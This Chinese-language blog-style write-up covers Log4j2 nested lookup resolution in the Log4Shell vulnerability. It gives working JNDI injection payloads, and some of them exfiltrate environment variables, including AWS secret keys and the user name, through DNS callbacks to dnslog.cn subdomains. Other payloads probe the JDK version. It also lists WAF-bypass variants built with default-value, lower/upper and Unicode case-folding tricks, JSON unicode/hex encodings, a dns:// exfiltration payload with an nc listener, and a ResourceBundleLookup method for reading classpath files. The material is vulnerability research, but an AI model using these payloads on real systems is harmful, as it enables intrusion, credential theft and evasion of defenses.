前言
在分析 log4j2 的过程中由于递归解析 ${} ,所以我们可以将其他 lookup 与 jndilookup 相结合从而变形 payload Bypass Waf 、获取 jdk 版本等,正好浅蓝师傅昨天也发了篇文章正好自己也仔细来看看
官方文档:https://logging.apache.org/log4j/2.x/manual/lookups.html
源码介绍
在源码分析的时候不难发现 substitute 函数是循环嵌套解析的
例如我们输入的 payload 是如下这样
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
那么log4j2 就会先取出 ${} 中的内容变为 jndi:ldap://${java:version}.u2xf5m.dnslog.cn
然后再通过正则匹配 ${ 和 } 如果还存在又会调用 this.substitute 来进行重新处理,然后就会对 java:version 进行处理,截取冒号前的字符串,然后从 strlookups 中获取对应的 Lookup,并调用其 lookup 方法
例如下图的 JavaLookup ,然后返回 String 类型的数据
所有 Lookup 都是 StrLookup 的实现类,所以返回都是String 类型
然后就会在 substitute 中进行替换
例: ${java:version} => Java version 1.8.0_20
大致流程如下:
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
=> jndi:ldap://${java:version}.u2xf5m.dnslog.cn
=> ${java:version} => java:version => Java version 1.8.0_20
=> jndi:ldap://Java version 1.8.0_20.u2xf5m.dnslog.cn
=> DNS Query Record :Java version 1.8.0_20.u2xf5m.dnslog.cn ( dnslog 收到结果)
Lookup
这块还是要结合一下官方文档:
官方文档:https://logging.apache.org/log4j/2.x/manual/lookups.html
在官方文档中介绍了各种不同类型的 Lookup ,下面简单列几个
ENV
可通过 env 来获取环境变量中的一些信息
logg.error("${jndi:ldap://${env:USER}.d0j226.dnslog.cn}")
获取一些云主机的 Key
logg.error("${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.d0j226.dnslog.cn}")
Java
logg.error("${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}");
由于 JNDI 注入高版本默认 codebase 为 true 所以可以通过这个方法来获取 jdk 版本从而选择不同的攻击方式
还有很多种 lookup 感兴趣的可以仔细去看看文档
利用手法
在看文档的时候还有一个特性也蛮有意思的,即 :-
根据官方文档中的描述,如果参数未定义,那么 :-
后面的就是默认值,通俗的来说就是默认值
通过这个特性可以 bypass 一些针对 jndi ldap 这种的关键字拦截 (虽然我觉得有可能waf早就想到这一点)
例如:logg.error("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");
同时也可以利用 lower 和 upper 来进行 bypass 关键字
logg.error("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.error("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....
同时也可以利用一些特殊字符的大小写转化的问题
ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
İ => upper => i (Java 中测试不可行)
K => upper => k (Java 中测试不可行)
logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");
...
由于这玩意儿测试过程中随便插都行,现在数据传输很多都是 json 形式,所以在 json 中我们也可以进行尝试
像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过
{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}
再回来看 jndi ,jndi 即 Java命名和目录接口,所以他支持以下这几种协议
所以我们也可以通过 dns 协议来获取信息
payload:logg.error("${jndi:dns://xxxxx:8090/${java:version}}");
在 VPS 上开启 nc -luvvp 8090
ResourceBundleLookup
这是浅蓝师傅提出来的,链接:https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
我这里利用 Springboot 的环境,环境的 pom.xml 中要将 Springboot 自带的日志利用 log4j2 来替代掉
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
直接来看到这个类的 lookup 方法,在该方法中要求输入的 key必须要为 aaa:bbb 这样的形式
其中冒号前面当作文件名,冒号后面的当作 key,我们可以通过这种方法来加载 classpath 下的文件来进行读取敏感信息
同时也可以利用上面 dns 的方法在不出网的情况下进行读取数据